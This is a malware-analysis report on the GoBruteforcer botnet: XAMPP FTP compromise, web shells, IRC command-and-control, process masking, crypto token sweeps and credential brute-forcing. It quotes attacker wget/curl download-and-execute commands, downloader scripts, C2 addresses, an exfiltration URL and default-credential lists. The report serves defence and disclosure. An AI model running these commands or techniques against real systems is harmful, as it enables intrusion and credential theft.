A notable vector for initial compromise is internet-exposed FTP on servers running XAMPP. XAMPP is a widely used, easy-to-install Apache product that bundles Apache, MySQL/MariaDB, PHP/Perl, an FTP server (typically ProFTPD) and phpMyAdmin. By default, XAMPP is installed under /opt/lampp, and the web content directory /opt/lampp/htdocs is available on the web server. It’s designed for a local development environment and convenient installation rather than maximal security. As a result, it contains default weak passwords unless the administrator runs XAMPP’s security helper. In addition, the default ProFTPD configuration on XAMPP commonly maps the FTP root to that same webroot, which means a successful FTP login enables attackers to write files that are then implemented by the web server.

At the same time, the small set of credentials used by the FTP bruteforcer strongly indicates that XAMPP installations are among GoBruteforcer’s intended targets. When attackers obtain access to XAMPP FTP using a standard account (commonly daemon or nobody) and a weak default password, the typical next step is to upload a web shell into the webroot.

To upload a web shell, attackers may also use other vectors, for example, misconfigured MySQL servers or phpMyAdmin panels. Published case studies and write-ups demonstrate practical techniques for achieving code execution or uploading shells through phpMyAdmin when the application or host is misconfigured.

The attackers still use the same PHP web shell that we observed two years earlier (SHA256: de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b). In addition, the samples we observed use the same hashed password for user authentication.

We also suspect the presence of other distribution chains, as we found hosts belonging to the botnet that did not have a web shell installed.

IRC Bot installation

The web shell installed in the previous step is then used to download and execute additional malicious software (such as an IRC bot).

We observed web shell commands that instruct the target to fetch and run an architecture-specific payload. Example (as seen in the web server access logs):

<webshell>.php?dmc=(wget -qO - http[:]//<compromised_host_ip>/.x/?x=x86 || curl http[:]//<compromised_host_ip>/.x/?x=x86)

The fetched payload is a small shell script:

#!/bin/sh
if [ ! -w . ] || [ ! -x . ]; then
    cd /tmp || exit 1
fi

if [ `md5sum init_start 2>&1 | awk '{print $1}'` != "cc9dde367a1e7ac2c1a7611bdfbbcbc3" ] ; then
    rm -rf init_start
    (wget -q -O init_start http[:]//<compromised_host_ip>/.x/x_x86 || curl 
-[s] -[L] -[o] init_start http[:]//<compromised_host_ip>/.x/x_x86)
fi

chmod +x init_start
./init_start

This shell script functions as a lightweight downloader and updater. It first ensures it can write and execute in the current directory; if not, it switches to /tmp (or exits if that also fails). It then checks the MD5 of the local init_start file and, on mismatch or absence, deletes any existing file, downloads a fresh copy from a remote host via wget or curl, saving the downloaded file as init_start, makes it executable, and runs the script.

The remote server (on request to /.x/?x=<arch_name>) selects the IRC bot binary to return, based on an architecture parameter. The following architectures are supported:

Architecture name string	File name
arm, armv6l, armv7l, armhf, armv5tel	x_arm
aarch64, arm64	x_arm64
i686	x_x86
x86_64	x_x64

Depending on the compromised host configuration and the privileges obtained by the attackers, a newly infected machine can play different roles within the botnet:

• Ordinary scanner bot: Most commonly, the host runs the bruteforcer and scanners that enumerate and attempt password logins across the Internet.
• Distribution host: A compromised device may be used to host and serve payloads to other compromised systems (as the <compromised_host_ip> in the previous examples).
• C2 / IRC relay: In some cases, an infected host can be promoted to host IRC-style control endpoints or act as a backup C2 for resilience.

This modularity increases the botnet’s resilience. The botnet operators can control bots via web shells and also via the installed IRC bot (post-deployment control). The presence of built-in lists of fallback C2 addresses and the ability to update the IRC bot module (and switch to alternate servers) enables continuous control even when parts of the infrastructure are disrupted. We also observed a domain-based fallback mechanism: bots first keep trying hardcoded IP endpoints and only attempt C2 domain resolution if all hardcoded servers are unresponsive. This way, the bot reduces accidental domain lookups during normal operation but allows a last-resort recovery path if the infrastructure changes.

Post-infection control and module updates

After the IRC bot connects to the C2 server, the attackers gain an additional channel for managing the newly infected host. The bot’s full functionality and the control protocol are described in detail in the “IRC Bot technical details” section below.

Most commands are issued on a shared IRC channel, so many bots receive identical instructions simultaneously. One common action is to instruct bots to download or update the bruteforcer module; this update typically occurs twice a day using the following shell command:

(wget -qO - "http[:]//<compromised_host>/.x/test2.php?x=`uname -m`" || curl -[sL] "http[:]//<compromised_host>/.x/test2.php?x=`uname -m`") | sh > /dev/null 2>&1 &

This pipeline fetches and executes a shell script produced by test2.php. The uname -m substitution returns the host architecture (for example, x86_64), and test2.php generates an architecture-specific downloader script similar to the one described earlier. The downloader only retrieves the bruteforcer binary for the selected architecture if a local copy is missing or its MD5 checksum differs from the expected value. It saves the downloaded file in the /tmp folder under the name init_stop.

This is an example of the downloader script we observed:

#!/bin/sh
cd /tmp

if [ `md5sum init_stop 2>&1 | awk '{print $1}'` != "2c32ba61a6ac6721ed6f5a76b1fcbd7a" ] ; then
    rm -rf init_stop
    (wget -q -O init_stop http[:]//<compromised_host>/.x/s_x64 || curl -[sL] -o init_stop http[:]//<compromised_host>/.x/s_x64)
fi

chmod +x init_stop

Every 400 seconds, the bot receives the command /tmp/init_stop to launch the downloaded file:

Figure 5 — Bruteforcer restart command.

Approximately every 5,000 seconds, we also observed a command to find and stop bruteforcer processes:

ps x | grep init_stop | grep -v grep | grep -v export | awk -F" " '{print $1}' | xargs kill -9

In addition, this command enables the attackers to terminate any processes that contain init_stop in the command line and are running under the same user account. Using kill -9 ensures an immediate, forced shutdown of those PIDs, including the bruteforcer itself and tools launched with a command line that references init_stop (for example, a debugger started as gdb init_stop).

Detecting hosting providers (OVH / DigitalOcean)

We observed the botnet operators issuing checks using ipinfo.io to identify whether compromised hosts belong to specific providers. We observed several variants of the command, including one with a typo "grep-i" that indicates interactive execution rather than a scripted check:

wget -qO- ipinfo.io/org | grep-i digitalocean
wget -qO- ipinfo.io/org | grep -i digitalocean
wget -qO- ipinfo.io/org | grep -i ovh
wget -qO- ipinfo.io/org | grep -i amazon

These simple lookups with ipinfo.io return the organization name for the host’s public IP address and allow the attackers to detect provider tenancy. We observed  probes for digitalocean and ovh as interactive commands in our logs, indicating that the botnet operators occasionally manually inspect host provider metadata.

Later in the process, we also observed another command sequence intended to build a list of bots running outside datacenters and to filter out likely honeypots by excluding hosts that report as VPNs, proxies, or Tor. The attackers also ran these commands interactively and likely without prior testing: the first command failed due to a missing space in the grep invocation.

wget -qO- <https://api.ipapi.is> | grep -q '"is_datacenter":false' && grep -q '"is_vpn":false' && grep -q '"is_proxy":false' && grep -q '"is_tor":false' && echo "Residential"
wget -qO- <https://api.ipapi.is> | grep -cE '"is_(datacenter|vpn|proxy|tor)": false' | grep -q '^4$' && echo Residential

Possible operational rationales behind these queries include:

• Target selection or exclusion: Some providers may be treated differently, for example, avoid or deprioritize cloud providers that have active abuse/honeypot programs or rapid takedown procedures.
• Tagging & grouping: The botnet operators may label bots (by provider or datacenter) for later targeting.
• Follow-up actions: Different post-exploitation strategies (e.g. promotion to distribution/C2 node) may be chosen based on provider characteristics.

Blockchain campaign

As we stated previously, during monitoring we noted that credential sets used in GoBruteforcer campaigns included crypto-themed usernames, suggesting an interest in poorly secured blockchain databases. We later found corroborating evidence on one compromised host: alongside the botnet binaries, the attackers  placed additional modules that matched the group’s tooling profile (written in Go and UPX-packed).

Figure 6 — Exposed directory listing on a compromised host controlled by the attackers.

One module iterates TRON blockchain addresses and query balances to identify accounts with non-zero funds. We found a data file next to the binary that contains approximately 23,000 TRON addresses:

TRL3xEyaGe2CbHbLFKh13e35dPjdUDwESt
TTHFVB583UK6Hbc3DfJFr7iJpM1TL1JCZC
TDmVyFH6DhQUCs7LAHxXVL2pEsj23K9ts3
TJGRNaKEYFR4gaDNcNeJWZxsPw67ZGEDWh
TQ1ryREqJYVFwqz98KvGnrGuLqMympccPo
TNqpFFP57ZLxWfTY7qGX9YFAsTnRsJrLLp
TV4zEamgCxuEmAxcvAjAytidCSrsj3uHx8
TL6RnePhEJ7Aft2P28Z9vP7kVwoqW9eKbW
TUaingvfjJzVeSKSfFdFECCphSNN4VaxNp
TCDmD4KX8eUxDwMg62AqWFrB8YZ66ZD5uf
TVuPzNGbuvPfiLC9btV2ZkVYDA1uBsJDc7
TKvAeifvTmbjCR5EjVXzKWjW5MDh57Jpbf
TQg1Xn89vwVENRxzpsntxhfDQbZRQFAvfy
TMSvtnJC5FXV3g8Eq9VG3cN6Jr5x8YhSEu
...

The module queried the service tronscanapi.com using several API keys to perform lookups:

Figure 7 — Tronscan API keys used by the operators.

We also discovered “token-sweep” utilities for Binance Smart Chain (BSC) and TRON, also written in Go and UPX-packed. Their purpose is to use private keys to transfer tokens from victim addresses to attacker-controlled wallets. We did not find private keys on this host. It is plausible that keys were supplied at runtime and deleted after the operation was complete.

We assume that the operation could be run in parallel across multiple infected hosts, and we observed only one such node where the attackers apparently forgot to delete the files.

From the binaries, we also extracted two of the target blockchain wallet addresses utilized by the attackers:

• TRON: TF5LUPC7MQWMcCgRLThY1v8zsHuoz1sBZW
• BSC: 0x208a8Ce726443B7ED9B621be70Cee7b2bB6723B2

Based on on-chain transaction review of these recipient wallets and the contents of the recovered address list, we determined with moderate confidence that the compromised database likely belonged to an older or legacy blockchain product (e.g., a custodial wallet service). Most addresses carried only small residual balances, consistent with leftover funds rather than actively used accounts.

Figure 8 — Token-sweep transactions to the operators’ wallet on TRON.

IRC Bot technical details

In this section, we analyze the current (2025) version of the IRC bot used in the botnet to control infected hosts and deploy the GoBruteforcer.

The version distributed now differs in several ways from the one discovered and documented in 2023.

As in the old version, the malicious binary is packed with UPX. However, the packer’s “UPX!” signature bytes were replaced by “XXXX”:

Figure 9 — Patched “UPX!” signature in the analyzed sample.

Once those bytes are patched back to their original state, standard UPX successfully unpacks the sample.

Previously, the bot was likely written in C and only the bruteforcer component was implemented in Go. Now, all samples used by the group are written in Go, including the IRC bot.

In addition, all samples are obfuscated with Garbler, which complicates the analysis because the binaries no longer contain plaintext strings.

The bot’s functionality also changed in several ways:

• The algorithm for generating the IRC nickname was modified. The host name appended to the nickname is now less predictable — instead of replacing invalid characters with the literal string "default", the new code uses a regular expression that simply strips or replaces forbidden characters.
• An older version of the bot used the IRC command MODE <nick> -xi, which causes the bot to become visible on the server. That command was removed in the new version.
• The command handler was rewritten and the set of supported commands was expanded.
• Process masking features were added.

Below we examine the new and changed functionality in more detail, including aspects that were not documented previously.

Process masking

The malware attempts to hide its presence on the host in two ways: by changing the process name and by overwriting the command line.

Masking the process name

To change the short process name, the malware calls prctl with the PR_SET_NAME operation. Before the call, it truncates the supplied name so that it fits into the 16-byte kernel buffer used for the thread “comm” field. The following C-style pseudocode illustrates that technique:

int set_proc_name(const char *name)
    char buf[16];
    size_t n = name ? strlen(name) : 0;
    if (n > 15) n = 15;
    memcpy(buf, name, n);
    buf[n] = '\\0';
    // PR_SET_NAME == 15
    if (prctl(15 /*PR_SET_NAME*/, (unsigned long)buf, 0, 0, 0) == -1) {
        return -errno;
    }
    return 0;
}

In the observed sample, the fake process name used is init. As a result, utilities such as System Monitor display that value instead of the real executable name — a behavior that helps the binary blend in with legitimate system processes:

Figure 10 — System Monitor shows the altered process name.

Masking the command line

The previous method for changing the process name does not affect the command line shown by many tools (for example, ps aux). To mask the malicious process in the output of these tools, the malware also overwrites the in-memory argv buffer so that /proc/<pid>/cmdline contains the fake label (and trailing zero bytes) instead of the original command line.

The sample first reads /proc/self/cmdline to learn the actual visible length of the command line. It then retrieves the pointer to the argv[0] buffer. If the chosen label ("init" in the analyzed sample) is longer than that available space, the code falls back to a one-byte label ("x"). Finally, it constructs the label plus NUL padding to match the original visible length and writes those bytes in place in the argv buffer. The C-pseudocode below mirrors this routine:

void maskCmdline(char *label) {
    ssize_t cmdlen = read_len("/proc/self/cmdline");
    void *dst; int cap;
    get_argv0_buf(&dst, &cap);
    if (!dst || cap <= 0 || cmdlen <= 0) return;

    int used = strlen(label);
    if (used > cap) { label = "x"; used = 1; }

    int pad = cmdlen - used;
    if (pad < 0) pad = 0;

    buf = malloc(cmdlen);
    memcpy(buf, label, used);
    memset(buf + used, 0, pad);
    if (used + pad > cmdlen);
    memmove(dst, buf, cmdlen);
    free(buf);
}

As a result, if we list processes using the ps utility, we see init instead of the original command line:

Figure 11 — The “ps” utility shows the fake command line.

Initialization and connecting to server

When the binary starts executing, the main.init funcion builds the bot configuration. The configuration includes a list of C2 / IRC server endpoints (IP addresses or domains), a port for each entry, a generated visible nickname used for IRC registration, and the default IRC channel name.

In the observed samples, there are between 1-3 obfuscated C2 entries. In the active 2025 campaign, we observed the following C2 server addresses:

• 190.14.37[.]10:8080
• 93.113.25[.]114:8080
• xyz.yuzgebhmwu[.]ru:8080

Figure 12 — Obfuscated C2 server address list.

The bot cycles through the hardcoded C2 list in a round-robin, going to the next C2 server and trying to connect. Usually, the IRC servers used by the malware run on the TCP port 8080.

Immediately after the TCP connection completes, the bot sends two IRC commands:

NICK <nick>
USER K 0 * :2025

For the USER command, the bot uses hardcoded values for the fields:

• K is used for the username field.
• 2025 is used for the realname field.

This means that raw IRC messages in which the IRC server refers to the bot look like:

:<nick>!K@<host> JOIN #bots-x86

Most probably, the realname field is for the release year or the version number, as in earlier bots this value was set to 2022.

Optionally, the bot can also send the PASS message, if enabled in the configuration for the server. In the analyzed samples, this option was switched off.

Nickname format

The nickname generated by the bot has the following format:

M|<flag>|<random-6-digits>|<cpu_num>c|<hostname>

Observed components:

• M — Constant prefix used by this bot family.
• <flag> — A small flag value (observed as a single digit, e.g., indicating root/non-root).
• <random-6-digits> — A six-digit random identifier (regenerated if the nick is already in use).
• <cpu_num>c — A numeric value representing the number of CPUs on the infected machine, suffixed with c.
• <hostname> — The sanitized device hostname, truncated to 10 characters.

After the bot registers, the C2 IRC server immediately replies with the normal connection numerics and then performs an automatic nick rewrite. The exact observed sequence:

:server.com 001 <nick> :
:server.com 002 <nick> :
:server.com 003 <nick> :
:server.com 005 <nick> CHANTYPES=# PREFIX=(o)@ CHANMODES=o NETWORK=server :are supported by this server
:server.com 422 <nick> :
:<nick> NICK <country_code>|<nick>

• 001–003 (welcome messages). Normally these contain a greeting, the server version, and creation date. Here they are empty, which hides useful information about the server.
• 005 (capabilities). The server declares a very restricted rule set: there is only one type of channel (those starting with #), and there are only two types of users — the operator and everyone else. Operators can see and control everything, while regular users are severely limited: they cannot see each other’s presence or messages, and effectively can only communicate with the operator. This design prevents bots from “talking” to each other and ensures that only the operator can control them.
• 422 (nick change). Finally, the server forces the bot to change its nickname by adding a two-letter country code such as US|. Most likely the country code is obtained from the bot’s IP address and allows the operator to quickly group bots by geography.

Server-side restrictions

The IRC server used in the current campaign enforces a constrained policy and limits functionality for unauthenticated users. Only a small command set is allowed:

• Commands allowed for non-operators: NICK, USER, PASS, JOIN, PING, PONG, NOTICE, PRIVMSG.
• Attempts to use other commands result in a 481 numeric (permission denied). The observed server message:

:server.com 481 <nick> :Permission Denied- You're not an IRC operator

Counteracting bot monitoring and hijacking

As mentioned earlier, the server is configured to prevent bots from seeing messages from other bots. Bots use direct NOTICE messages to send command execution results to the bot operator. (The list of commands and how they are handled will be described later.)

This hides the botnet from monitoring agents and prevents the bot from being hijacked.

With this configuration, the only way to send messages from one bot to another is to send a direct message addressed to its nickname. However, due to the random generation of 6-digit numeric sequences in nicknames, as well as our lack of knowledge of the hostnames and the geography of the victims, a large-scale bruteforce attack would be necessary to achieve this.

In addition, besides the server restrictions, the bot itself enforces a check before processing any control command. The observed logic is:

• The bot only considers messages whose message text begins with the ! prefix (commands are delivered as !<cmd> ... in the trailing part of an IRC PRIVMSG).
• The bot inspects the full IRC prefix token (the raw nick!user@host token that appears after the leading ":"). It searches that prefix for the substring @127.0.0.1 — i.e., @ immediately followed by 127.0.0.1. Only messages whose prefix contains @127.0.0.1 pass the check. If the substring is not present, the message is ignored.

This functionality essentially allows bots to be managed only by an operator connected locally to the IRC server. Even if this restriction is circumvented, the two measures described above prevent bots from being controlled by an unauthorized party.

Default Channels

The bot automatically joins a small set of persistent channels after a successful login. One channel is a global base channel (#bots), and the others are architecture-specific channels. The observed channel names include:

• #bots (base channel)
• #bots-x86
• #bots-arm
• #bots-arm64
• #bots-mips

The per-architecture channels allow the operator to send commands only to bots running a specific architecture (e.g., push an x86-only payload to #bots-x86).

After the server sends the 001 welcome numeric, the bot waits a short time (3 seconds) and issues a JOIN message for each channel in its persistent list. Example lines the bot sends include:

JOIN #bots
JOIN #bots-x86

IRC Messages Handled by the Bot

The bot processes the following types of IRC messages sent by the server:

• PING — Immediately replies with a PONG message.
• 001 — Welcome message. When the bot receives this message, it sends JOIN commands to connect to its persistent channels.
• 433 — Nickname already in use. When received, the bot generates a new nickname and resends a NICK command.
• NICK — The server forces a nickname change. The bot updates its internal state accordingly.
• JOIN — Notification that a user joined a channel. If it is the bot itself, it records the channel in its list.
• PART — Notification that the bot left a channel. The bot removes the channel from its list.
• KICK — The bot is removed from a channel and deletes the channel from its list.
• PRIVVMSG — A direct message to the bot. These messages are used by the operator to issue commands (covered in the next section).
• ERROR — Error notification.

Command and Control

The operator controls the bots using commands with a specific format. There are two accepted delivery forms:

The operator controls the bots using commands with a specific format. There are two accepted delivery forms:

• Channel broadcast (targets all bots in a channel):

:xx!x@127.0.0.1 PRIVMSG #bots-x86 :!<command> <args>

• Direct (private) command to a specific bot nick:

:xx!x@127.0.0.1 PRIVMSG US|M|1|123456|4c|vps-123 :!<command> <args>

The following commands are supported:

• !join <channel> — join a channel.
  The bot accepts both channel name forms (with or without #) in the command argument. If the channel does not start with #, the bot prepends #. The bot sends JOIN <channel> to the server and stores the channel in its persistent channel list (and rejoins when it reconnects). 
  This command allows the operator to group bots by a feature, for example, bots hosted in a specific datacenter.

Example:

:xx!x@127.0.0.1 PRIVMSG US|M|1|123456|4c|vps-123 :!join #bots-digitalocean

• !part #<channel> — Leave the channel.
  The bot expects channel names with # in this handle. As a result of handling this command, the bot sends PART #<channel> and removes the channel from its persistent list.
• !channels — List persistent channels.
  The bot replies to the command sender (using a private NOTICE message) with either a list of channels, or No persistent channels configured if the list is empty. 

Example:

# server -> bot
:xx!x@127.0.0.1 PRIVMSG US|M|1|123456|4c|vps-123 :!channels
# bot -> server
NOTICE xx :Persistent channels: #bots, #bots-x86

• !nick [<nickname>] — Set or regenerate the nickname.
  The command allows the operator to set an arbitrary nick to a specific bot.
• !reconnect — Schedule a reconnect.
  The bot silently closes the connection with the server and reconnects after a short delay (2 seconds).
• !quit <message...> — Disconnect and quit.
  After receiving this command, the bot sends a QUIT :<message> to the server, closes the connection, and shuts down the bot. This command allows the operator to restart the bot in the event of an update (if the bot auto-run is kept in cron, in which case it restarts every 5 minutes).
• !msg <target> <text...> — send PRIVMSG on behalf of the bot.
  The purpose of this command is unclear. The command instructs the bot to send a PRIVMSG message to a channel or to another bot. Due to the host address check in the bot message handler, this command cannot be used to relay control commands. Such commands won’t be processed by other bots. In addition, due to server settings, other bots can’t see messages sent by the bot.

Example:

# server -> bot
:xx!x@127.0.0.1 PRIVMSG <nick1> :!msg #bots Test
# bot -> server
PRIVMSG #bots :Test

• !exec <args> — Remote shell command execution.
  The exec command runs the shell command by launching /bin/sh -c "<args>". The bot constructs the command from the tokens after exec by adding a space.
  Standard output (stdout) of the shell process is scanned line-by-line. Each line is sent back to the original message sender as a separate NOTICE IRC message to the botmaster.

Example:

# server -> bot 
:xx!x@127.0.0.1 PRIVMSG #bots :!exec ls -al 
# bot -> server 
NOTICE xx :drwxr-xr-x  23 root root       4096 Sep 25 12:13 . 
NOTICE xx :drwxr-xr-x  23 root root       4096 Sep 25 12:13 .. 
NOTICE xx :lrwxrwxrwx   1 root root          7 Apr 22  2024 bin -> usr/bin 
...

It is important to note here that messages sent in this way are visible only to the botnet operator, are not visible in the channel, and cannot be received by other users or bots.

Persistence and Single-Instance Control

The rest of the functionality remains almost unchanged compared to previous versions.

To maintain persistence on the system, the bot relies on cron, which restarts the binary every five minutes (*/5 * * * * <cmd>). Before setting up cron jobs, the malware copies itself into several paths:

• /tmp
• /var/tmp
• /dev/shm
• /run/lock

Figure 13 — The list of cron jobs added by GoBruteforcer.

To ensure that only one instance runs at a time, the bot uses a simple local socket-based mutex: it binds a socket to the loopback interface (127.0.0.1) on a fixed port and keeps the listener open. If the port is already in use, the new instance terminates. In the analyzed sample, the port 51125 was used, although other samples employed different ports (for example, 52225), enabling the botnet operators to run two versions in parallel for testing updates.

Bruteforcer module

In this section, we examine the bruteforce module of the GoBruteforcer malware (2025 variant), which targets four service types (FTP, MySQL, PostgreSQL, and phpMyAdmin (PMA)) by systematically attempting to log in using credential lists. We describe how the malware selects target IP adresses, manages concurrency, and executes protocol-specific brute-force routines.

Initialization

Overall, the bruteforcer’s design balances speed (scanning tens of IP addresses per second) with stealth (skipping specific IP ranges, avoiding unnecessary reporting, and not saturating bandwidth).

As seen with the IRC bot, the bruteforcer starts with a single-instance guard: It binds a TCP socket on the loopback interface to a fixed port (127.0.0.1:51126). If the port is already in use, it exits to prevent a second launch.

The malware introduces a random delay between 10 and 400 seconds before beginning any activity.

Next, the malware obtains the credential list and mode (one of mysql, ftp, pma, or postgres) from a C2 server at a URL hardcoded in the sample (the exact address may differ across samples):

http://190.14.37[.]10/new.php

To make a request to the C2 server, the malware uses a specific User-Agent string:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36

The C2 server usually returns the output in the following form:

mysql
appuser:
appuser:1q2w3e4r5t
appuser:test123
appuser:zing
appuser:anhyeuem
appuser:Qwerty12
appuser:10203
appuser:woaini
appuser:1111111
...

The first line indicates the mode, followed by a list of 200 lines containing username:password pairs.

If the C2 server is unavailable, the malware falls back to the default mysql mode and a hardcoded list of seven username:password pairs:

{
    "root:", "root:admin", "root:123", "root:1234",
    "root:pass", "root:password", "root:123456",
}

The bot launches a dedicated goroutine to poll its C2 server every 15 minutes for updates to the bruteforcing task and credentials list (with a faster 30-second retry loop on failure).

The main bruteforce loop itself runs continuously unless stopped by the C2 server.

Worker Pool and Concurrency Control

In the main loop, GoBruteforcer maintains a fixed pool of worker goroutines that perform bruteforce tasks in parallel. The pool size is chosen based on the CPU architecture of the infected host. On 64-bit systems (x86_64 or arm64), the malware sets a target of 95 concurrent workers, whereas 32-bit or lower-end systems use fewer (e.g. 85 on i686, 35 on armv5tel, 50 on others by default). This target is set once at startup and remains constant unless a stop command is issued by the C2 server. Each worker is a short-lived task that will scan a single IP address for a given service and then exit.

Pool maintenance

The main controller seeds the pool by immediately launching the required number of goroutines and then continuously adds more. A counter is triggered every 1 second to check how many workers are currently active. If the number dropped below the target (e.g. some finished their scan), the malware spawns new workers to make up the deficit. This way, the pool always hovers near the fixed concurrency level.

The pool mechanism ensures a steady load and throughput – on x86-64 an infected host reliably keeps  approximately 95 parallel bruteforce threads running.

Task loop and stop signal

A central loop in the malware continuously monitors the mode provided by the C2 server (the service to bruteforce). If the mode switches to stop, the malware  shuts down the pool. To stop, it signals a cancellation context shared by all workers.

Single-IP task per worker

Upon starting, each worker goroutine takes a snapshot of the current bruteforcing “mode” (e.g., FTP or MySQL) and generates one target IP address to attack. It then executes the corresponding bruteforce routine for that IP (detailed in the protocol sections below) and exits. This means each thread handles at most one IP address from start to finish. By cycling workers in this one-IP-per-worker fashion, the malware naturally load-balances and avoids any single thread running for too long. The one-IP tasks also make it simple to maintain the target concurrency: As soon as a worker exits, a new one is spawned to pick up the next IP.

Target IP Selection and Filtering

For each bruteforce attempt, GoBruteforcer selects a random IPv4 address as the target. However, it intelligently filters out IPs that belong to non-routable networks or specific ranges the operators appear to avoid. The IP generation function essentially performs an “infinite dice throw” over the 4 octets until it comes up with an address that is not in any forbidden range. This prevents wasting time on addresses that cannot be reached or may attract unwanted attention.

Figure 14 — Generation and filtering random IP addresses.

The malware skips the following address categoriesby checking the octets against hardcoded conditions:

• Private/Non-Internet networks: All RFC1918 private IPv4 ranges are excluded. This covers 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. It also excludes IP addresses in 100.64.0.0/10 (carrier-grade NAT space), the local loopback 127.0.0.0/8, and the non-routed “this network” block 0.0.0.0/8. Similarly, link-local APIPA addresses 169.254.0.0/16 are skipped. None of these are valid targets on the public Internet.
• Special reserved ranges: The malware avoids addresses reserved for documentation and testing. For example, it excludes 198.18.0.0/15 (set aside for RFC2544 benchmarking tests). It also broadly filters out multicast ranges by rejecting any address with a first octet ≥ 224 that are not used for regular unicast hosts.
• Major cloud provider space: The IP filter also blocks several /8 ranges that are heavily used by Amazon Web Services: 3.0.0.0/8, 15.0.0.0/8, 16.0.0.0/8, 56.0.0.0/8. Cloud environments often have active honeypots and aggressive abuse response; the botnet authors appear to deem these targets as either low-priority or high-risk.
• “Sensitive” US government networks: A notable feature is a built-in blacklist of 13 specific /8 blocks historically associated with the U.S. Department of Defense (DoD) and related agencies. These include IP addresses starting with 6, 7, 11, 21, 22, 26, 28, 29, 30, 33, 55, 214, or 215. Such networks (e.g. 6.0.0.0/8 or 30.0.0.0/8) are largely U.S. military addresses. By skipping them, the bot avoids drawing unnecessary attention and likely sidesteps government-run honeypots and sensors, reducing the chances of the botnet being monitored or disrupted.

Bruteforce Tasks

Each bruteforce task begins with a 2-second timeout port probe to verify that the target service is reachable. The malware can check FTP (21/tcp), PostgreSQL (5432/tcp), phpMyAdmin (HTTP on 80/tcp), and MySQL (3306/tcp). The task only proceeds with testing credentials if the probe succeeds.

All bruteforce attempts use unencrypted connections. This approach misses targets that enforce encryption (e.g., FTPS, HTTPS-only phpMyAdmin, or MySQL/PostgreSQL with mandatory TLS), but the operators likely judge the plaintext exposure pool is large enough to justify the speed and simplicity gains.

Successful bruteforce hits are exfiltrated via a plain HTTP GET request to the C2’s /pst endpoint (often on port 9090), with details encoded in the query string:

• i – target (IP or URL).
• c – service code (1 – for pma, 2 – for mysql, 3 – for ftp, 4 – for postgres).
• u – username.
• p – password.
• e – extra metadata (e.g., PMA base path).

Example:

http://190.14.37.10:9090/pst?i=123.123.123.1236&c=4&u=postgres&p=12345678910&e=

Requests use a hardcoded User-Agent string:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36

FTP

Unlike the other protocols, FTP does not rely on C2-provided credentials. The malware binary includes a hardcoded list of 22 username:password pairs that it always uses for FTP bruteforcing. These appear to be commonly used or default FTP accounts:

apache2:apache2
apache:apache
blog:blog
daemon:xampp
daemon:lampp
daemon:1234
daemon:pass
daemon:password
daemon:123
http:http
httpadmin:fhttpadmin
httpadmin:httpadmin
httpd:httpd
nobody:lampp
web:web
jxbserver:webpages
website:123
website:123456
website:website
wordpress:123456
wordpress:wordpress
www:www

It’s important to note that the list of credentials received from the C2 server is completely ignored. Given that the C2 server transmits a list of credentials for bruteforce testing regardless of the selected mode, we can conclude that the malware developers made a mistake, and this behavior is most likely a bug.

The order of 22 built-in credentials is randomized for each run. The malware makes a copy of the built-in list and calls rand.Shuffle. After shuffling, it inserts the "trash:trashh" entry at the top of the list. This means that for every target IP, the order of the real credentials is different, but the first attempt is always the "trash" user with password "trashh".

Upon a successful FTP login, the malware reports the found username and password pair to its C2. It is noteworthy that if the credential "trash:trashh" succeeded, the malware explicitly suppresses reporting. After any success (trash or otherwise), the FTP bruteforce thread exits immediately without attempting any further passwords on that host.

The presence of the odd "trash:trashh" credential (which is not a default in any known FTP server) suggests it is a deliberate sentinel by the attackers. It may serve as a kill-switch or fast-exit for machines under the attackers’ control. If they pre-install an FTP user “trash” with password “trashh” on certain systems, the bot immediately finds it and stops scanning that machine.

MySQL

For MySQL bruteforcing, the list of credentials is drawn from the bot’s global list, which is populated via C2 commands. If the bot fails to fetch instructions from C2 on startup, it falls back to a built-in default list containing a few very common MySQL credentials as described above.

Before usage, the credential list is copied and shuffled so that each worker iterates through the credentials in a random order.

The malware uses Go’s MySQL driver (database/sql with the MySQL connector) for attempted logins. For each credential in the list, it constructs a DSN (Data Source Name) string with the format:

<user>:<pass>@tcp(<ip>:3306)/?timeout=5s&collation=utf8_general_ci

The first accepted login short-circuits continues the attempt and is reported to the C2 server.

Postgres

Bruteforcing PostgreSQL (port 5432) follows almost the same pattern as MySQL, with minor differences primarily in the connection string and protocol specifics.

It uses the same credential list provided by C2. Just like MySQL, the list is randomized per worker.

For each username:password, the malware constructs a Postgres connection URL of the form:

postgres://<user>:<pass>@<ip>:5432/?sslmode=disable

Notably, it appends sslmode=disable to force a plaintext connection.

phpMyAdmin

The phpMyAdmin bruteforce logic is more complex, as it involves navigating a web interface on HTTP. PhpMyAdmin (PMA) is a web-based MySQL administration panel, typically accessed via a URL path on a web server. The malware’s PMA module is designed to find these panels on targets and then attempt to log in through the HTML form.

The bot only proceeds if the target’s TCP/80 (HTTP) port is open. Interestingly, it does not appear to try HTTPS/443 in this variant – the code explicitly checks port 80.

The malware contains a large built-in list of possible phpMyAdmin installation paths (directory names). In our sample, this list has approximately 80 entries covering multiple common directory variants. Examples include standard names like /phpMyAdmin/ or /phpmyadmin/, numeric versions like /phpMyAdmin-5.2.1/, obscured names like /db/admin/ or /mysql/pma/, and even WordPress plugin paths like /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/ (87 different paths in total). This comprehensive list suggests the attackers want to find PMA even if the administrator renamed the folder or installed a specific version.

Figure 15 – The deobfuscated list of PhpMyAdmin paths found in the sample (partial).

For each candidate path, the malware tries to detect if phpMyAdmin is present before attempting a login. It creates an HTTP client (with a cookie jar) and sends a GET request to: http://<ip>/<base>/index.php?lang=en. The custom User-Agent is set to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3k (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36, likely to blend in as normal traffic.

When a response is received, the HTML is loaded and the code checks for indicators of a phpMyAdmin login page:

• Extracts the page <title> and looks for the substring “phpMyAdmin” (to confirm this is likely a PMA page).
• Ensures the title does not contain “setup” (to avoid confusing the setup page or other admin pages with the actual login).
